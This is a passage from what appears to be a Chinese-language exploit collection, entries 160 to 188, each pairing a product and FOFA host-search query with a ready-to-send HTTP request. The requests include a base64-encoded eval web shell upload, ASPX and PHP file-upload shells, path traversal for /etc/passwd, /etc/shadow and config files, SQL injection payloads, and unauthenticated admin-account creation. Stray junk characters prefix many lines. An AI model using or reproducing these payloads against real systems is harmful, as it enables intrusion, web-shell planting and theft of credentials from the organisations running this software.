: L  z& K$ |# v! v! o+ e  \1 {Host: x.x.x.x
" u; I- J' U; uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
& H0 z2 i/ O' S! HContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
1 \* Z8 A% j) L% N2 ISoapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
* s9 D: [) V# G4 I! B( ?4 A0 p<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
' y% ^& W% E1 m1 U' L6 L$ K<soap:Body>
8 J6 Q$ e1 y: _) M<jobUpload xmlns="http://rainier">
  [4 e; {# m2 C  X( f& x<vcode>1</vcode>
9 @' `1 V& p4 y% J& }6 N9 T  e) J5 Z<subFolder></subFolder>
5 d4 R; ]4 U$ M+ T/ I<fileName>abcrce.asmx</fileName>
<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
, G6 G9 \8 i1 E# A# A* g; }</jobUpload>
</soap:Body>
+ f: l6 d: l+ `4 G" M- ^6 s</soap:Envelope>


2 S; q0 [% l2 @0 U, h; c" J/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")


160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
9 @. Y0 N1 v2 E: W0 c1 k% iFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
/ ^; o+ [' }8 T, Q; vHost: x.x.x.x
- Y3 e* H; L4 f% F8 MUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
  y% [! d. a* h; [, {+ I6 ?8 S6 mAccept: */*
$ V+ m5 D% t1 B1 x: y, |Accept-Language: en
  q6 q* b* ]  DAccept-Encoding: gzip
' F4 {8 H+ U2 G' U6 S* m
6 {1 U* \  U& X2 K" F
$ O" K9 B; Z9 {  I161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
  A# l1 B! w! H$ z9 J' \" P' B第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
. \2 o6 i3 {9 X/ UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
0 C6 {7 I9 r0 k" C# nContent-Length: 445
. u* I5 f4 h  rContent-Type: text/xml
  r  k0 l6 a6 g$ p6 X, pAccept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="
' ]* n: b5 Y! G- mhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
- ^9 {* O$ u) L<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
6 P$ j% ?2 n! c" T<tag>3</tag>
</UploadResume>
</soap:Body>
</soap:Envelope>
" O" L9 S# |0 \) Z* n

0 N, B9 B/ v& p' Fhttp://x.x.x.x/dizxdell.aspx
7 G/ H  [* W* z7 T9 k
  F: d8 I, |! u) S3 W162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
2 ?0 I# Y) Z4 iPOST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
1 \- ]. d5 [* Y8 W  p/ GContent-Length: 583
! {, @$ r( i8 }% v- E3 o* R+ H- cContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip
' X2 v- E: L, d8 S8 V
& X. R* c; I" v" v4 |5 x: T  v------WebKitFormBoundaryeegvclmyurlotuey
( W0 G3 s2 m" {  j  {" lContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
6 x& X* f& }, K. I4 OContent-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
. d+ j2 }. R4 w9 @6 g1 mContent-Disposition: form-data; name="action"
# {+ k4 C7 ^; f4 G
upload
------WebKitFormBoundaryeegvclmyurlotuey
4 g3 Y7 {7 Q6 GContent-Disposition: form-data; name="responderId"

3 @3 |" k+ j, z, }ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"
% E4 k9 e: \6 n$ J0 r2 U
8 m  Y5 I- M4 B3 w9 M4 K, [/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
9 k6 g$ E+ O' f( X
% q. H) N" ]8 q6 g: ]2 W
4 g5 [0 K5 M5 U' D/ L1 n( ?http://x.x.x.x/opt/resources/kjuhitjgk.aspx
" O. Q# h& h$ f
- ^# A& i. J. A  o0 B# L/ [163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
, C$ N: ~' i; h& b1 [0 m- N7 _FOFA: icon_hash="-795291075"
4 F) k0 x6 u/ ^, y/ CPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
8 d1 ?# G- P- E) N! OHost: x.x.x.x
9 T& d) _* q- Q# nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
+ X, {: Z2 |0 f1 z- ^& hContent-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
5 _( r7 f4 K, `# E/ w% E* E. gAccept-Language: zh-CN,zh;q=0.9
2 T( f/ v+ d; G$ X! u. M) q( pContent-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

. V0 _* D2 ^, @1 v  I4 E/ {& _------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
) j9 }4 P4 p9 q0 h
1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg

' i- n  f; X! mrvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--


164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
) I, s  h( ?7 c+ M  aPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
/ B2 g. Q1 a; b  }, q; _( ]) aHost: x.x.x.x
, I  T7 C& h, Q" ^6 F) wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
$ g" u2 w$ m4 t" JAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
2 x+ \+ S1 _: R$ MConnection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
5 K/ O$ h' B. o8 I, uX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

7 b6 ^( \3 {# P+ n------dqdaieopnozbkapjacdbdthlvtlyl
! V9 z' x3 q/ O  Y! Q' eContent-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
) h$ I4 p- [6 I; i7 s/ P+ Y
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
' @. H9 T" b0 D6 o: G; M, b  p2 {

7 ~, C' T8 L6 _" m2 p5 E& ^+ Xhttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

3 }- q4 q$ m/ l4 v165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
& U  [  X$ z" E0 J9 {FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
4 v& o- l& g8 M" a8 X

166. 中成科信票务管理平台SeatMapHandler SQL注入
; E0 w( }" R/ t6 e. F( c+ U8 `FOFA：body="技术支持：北京中成科信科技发展有限公司"
" C7 J' U( Q, Z6 p" OPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
% U) q3 k+ B( ~2 J: C+ wHost:
. b! n' m% ^  S$ M- c- Y2 ~! B" bPragma: no-cache
: X# E4 s' t5 P3 t7 l* g. `8 g( ECache-Control: no-cache
5 j- F9 N$ i: V$ X7 K2 G' aUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
$ c8 S$ u6 {' K1 ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
2 d8 j  f; J  B+ V6 u+ J* H  YContent-Type: application/x-www-form-urlencoded
Content-Length: 89
8 X' _' \  f7 `+ @" L0 u1 q8 E3 O1 L$ }2 o
! j7 g6 D$ U/ l$ B) sMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
) Y' t6 _' _$ zGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
: m7 }5 k/ B  A) K5 aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
5 b( w  \8 X( jAccept-Encoding: gzip, deflate
6 M( D$ Y0 x+ o# DAccept: */*
: L5 k+ n# C1 v' j% vConnection: keep-alive

7 O- B$ ]: y+ T% [# {; B; X" y
9 z& `( F- L, k1 }' ^5 r) Y168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
Host: your-ip
, H, c) C/ Q6 tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
  o# W, W) Q) g) \2 HContent-Type: application/x-www-form-urlencoded
# A# {! Z: w) a, i2 L3 FConnection: close

0 s/ b- \7 T9 D% b- g

' H! K2 N; z: u+ w169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
" t; i. f) |" LHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% t2 A& ~2 _. OAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
; q" f0 o3 g8 h$ [
2 `7 z7 o8 j) T  H
  }+ _7 N0 W, n  `9 U  t4 s. X
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
5 o7 c7 M3 g( WFOFA：body="/general/sys/hjaxmanage.js"
, I* E( L% T& B" T. J: C# t8 aPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
; q6 M0 f6 v! u* L) p8 aHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# k6 q8 ^+ u+ a
6 L) k* L" [1 `2 _0 Wfilename=../webapps/ROOT/WEB-INF/web.xml

2 _+ d9 p( x) p) K% [
3 S4 h: X- p9 y) l# A- m171. 通天星CMSV6车载定位监控平台 SQL注入
3 U/ Q$ A( D! h: }FOFA：body="/808gps/"
( w3 A- _& E, i  a8 g' A6 ZGET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
5 Y, }$ m" b! `, g* w! oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 _* E9 \9 H$ IAccept-Encoding: gzip, deflate
Connection: close

0 C9 p/ ^7 r8 y7 _! Z% f$ F
7 b: D" U1 S' E7 c9 Z
172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
* q4 X7 q! a; B) yHost: your-ip
  J# q  N3 C4 w7 T; l' HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 ?# c, G9 I$ X1 L+ UAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
1 B' T4 r! X" m# Q& z/ S3 ?1 M
2 ^1 ~$ y5 J9 c
5 R& |  D- _6 B3 r+ T/ |
6 Q- Z4 t' U* u9 t. B173. Check Point 安全网关任意文件读取
& @5 S' n, K  V+ @CVE-2024-24919
  @, ], {" t2 ?, m# ~FOFA：app="Check_Point-SSL-Network-Extender"
4 E' h  \9 l0 u$ A1 j* Z6 g5 uPOST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
, z2 D4 m5 ?  Q( z
( \0 k8 v, G  c5 l9 X" R6 LaCSHELL/../../../../../../../etc/shadow
4 L5 i" v9 V/ G/ \- J& E: L


! u, y% {% W# `, o' _- i' P% h- u- X! ^0 e174. 金和OA C6 FileDownLoad.aspx 任意文件读取
$ [7 @3 R; `) }) a& QFOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
+ }- A8 \" F! b8 E& X* SHost: your-ip
* X  q$ ^- o6 e6 y" JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
# C! d3 z% m+ J$ Y5 `7 c3 J/ ^
& E0 _0 i2 J" r8 ?+ D0 T: @# X

% F4 d$ F; A1 r, P) O; _$ e175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
6 o, e% b: E$ _, r, RHost:
8 s8 [2 W  B0 }# v0 n8 t% qUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
6 j* f' `* g7 A2 IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
/ O# g/ u( a5 jUpgrade-Insecure-Requests: 1

5 }5 U) G  `$ N7 N4 b8 v( k
; _$ D$ E2 K( g1 p  \& K% _- I: e( w/ z176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
7 m, o" |" N& X4 I& ]9 ]8 i* HConnection: close

------WebKitFormBoundaryOKldnDPT
5 ^! }  E2 x& _! E$ C0 }& aContent-Disposition: form-data; name="tmp_name"; filename="test.php"
# m6 [& r, ]* }Content-Type: image/png
) c+ @; A, ]' M% r! ~# F
0 V% r5 h. N2 \<?php system("cat /etc/passwd");unlink(__FILE__);?>
3 K+ `/ M8 V$ A. x------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--

' l& v6 s0 C: A1 J
& ]3 z" D$ A( ~/ S" Z9 V
/ K. G" U3 v- i/ n# t( P. p$ a177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
/userLogin.asp/../actionpolicy_status/../GR8300.cfg
* A0 I# D/ ?) h& n) q5 s8 e  Z/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
5 Y7 G9 s. D/ w, W; b7 |7 V/userLogin.asp/../actionpolicy_status/../GR2200.cfg
1 c* ]0 K4 \+ \/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
9 G, U+ f+ g; ^1 ]/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
2 w( @( X( F6 x5 g# @: E/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
: K4 |. x& Z! \9 d2 b- H: p/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3200.cfg
0 C: o; h# G! O/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
, |/ T! N; a: G/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
. k5 A- x- x+ w/ {' R* @/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
4 ~2 u. T' d! U7 Y/ n. Z

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
, H2 o9 V5 H, g* o8 I( |2 }" jFOFA：header="/selfservice"
) i5 i+ u* N3 RPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
# S- [/ y; O  O: I! g0 MConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
% P) o4 H% ?# t, ~8 h6 V' o5 {8 P-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
% j( `5 a) c5 X! `Content-Length: 255

1 c$ b3 \  C; k3 r12234
-----------------aqutkea7vvanpqy3rh2l--

; K: M3 C2 L0 D. w) |
" J: V* r2 h& r! S- F* {% {+ W0 aGET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
4 W" [7 A- \/ N: k& `Content-Type: application/x-www-form-urlencoded
' y9 V: q- N) y( ~7 @User-Agent: Mozilla/5.0
) O* ^$ ?/ i+ O
path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
" T* t# S" J: w6 CFOFA：app="帮管客-CRM"
GET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
! W+ |: B9 E+ mHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
! B/ H' [$ l0 b0 P7 BConnection: close

* B% T8 _  h2 n, ^) i# j
' O4 I' f7 _- U; G7 J181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
- Z1 O  @  _& L- }6 ]6 fFOFA："PDCA/js/_publicCom.js"
$ L4 Q" T/ J$ }' N% S" mPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
* ]4 p" @' T, b0 }Host: your-ip
' O, e# t! F0 w: @( A, ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
/ t0 A/ A2 |8 l: Z* BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
' Z, J  T; o% P+ a$ t- K0 V, qAccept-Language: zh-CN,zh;q=0.9
7 @2 g! j2 B+ M7 x7 ]% `6 QConnection: close
Content-Type: application/x-www-form-urlencoded
' V' M, z# q& l  z7 T- m! |
8 ~: a: Q9 S, q* \( T
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20

% O; R9 y0 f" D& N  v: }% x
4 O1 c6 D3 g, {0 P! h' k( v5 K182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
# @1 z+ s! P, Y0 w) w8 ]" {FOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" X8 j' ^! G* X- A9 m# B' FAccept-Encoding: gzip, deflate, br
+ S! {  I4 ^: r6 iAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
% k& [2 K; s# w! V6 _! @

username=test1234&pwd=test1234&savedays=1


183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
& X' F. f1 q5 z3 n; a- TFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
! ^5 ?  j4 ^. B: |  v; uGET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
$ T6 r4 L0 q/ G! PUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
* u7 }: M) L3 L1 E- a% RAccept-Encoding: gzip, deflate
. ]" h% {! M1 h5 p9 z# @Connection: close
) r5 m( ^4 g' Z+ m( e. K$ f# F
/ Q; K/ ~( T  c: V0 \6 E
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
$ r8 ]* M$ ]& D+ \( n0 H* |- D, jFOFA：server="SunFull-Webs"
* H4 v, t! W  x4 b! VPOST /soap/AddUser HTTP/1.1
4 t& b" j) O: p9 k5 eHost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest


& i# t! T- P2 X' @' ~: ]insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


+ p, j% ^  v+ |1 [185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
8 W) `: {+ e8 {2 u7 @) }3 w7 G/ h7 T! {GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
0 o+ u  c1 Z% z( }, G/ kHost: host

, X* G2 O' X( [! H# _) c0 A
( @5 X+ [! s5 d+ K$ s0 K186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
* b5 W" _" N! f- fFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
$ L. t5 E4 L) v. k  xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

8 D& C# w5 V; w! d; g/ f* Creq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450


0 M" [# |! t9 G% [' T' P* X2 D187. Mura CMS processAsyncObject SQL注入
2 m9 p) g1 t' ?$ s/ {CVE-2024-32640
% a! w5 K1 p' pFOFA："Mura CMS"
  E6 p2 \3 p3 s- p' R, XPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
4 _0 i8 @: j' q1 e7 O, o, OContent-Type: application/x-www-form-urlencoded

# G& y; k# M! @/ G5 D
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1

4 s+ T( L5 a4 k8 S( A- C! u
) e8 ~/ [! U- O. o& a0 v188. 叁体-佳会视频会议 attachment 任意文件读取
9 u1 l' k* D4 R% |) {version <= 3.9.7
FOFA：body="/system/get_rtc_user_defined_info?site_id"
9 x' a# N% S) Y! GGET /attachment?file=/etc/passwd HTTP/1.1
  Q& z1 m( g3 ~* {, }! L( d6 I8 E& NHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 o9 p8 p0 f% B2 _Accept-Encoding: gzip, deflate
0 B. {$ b2 `5 y  U+ tAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

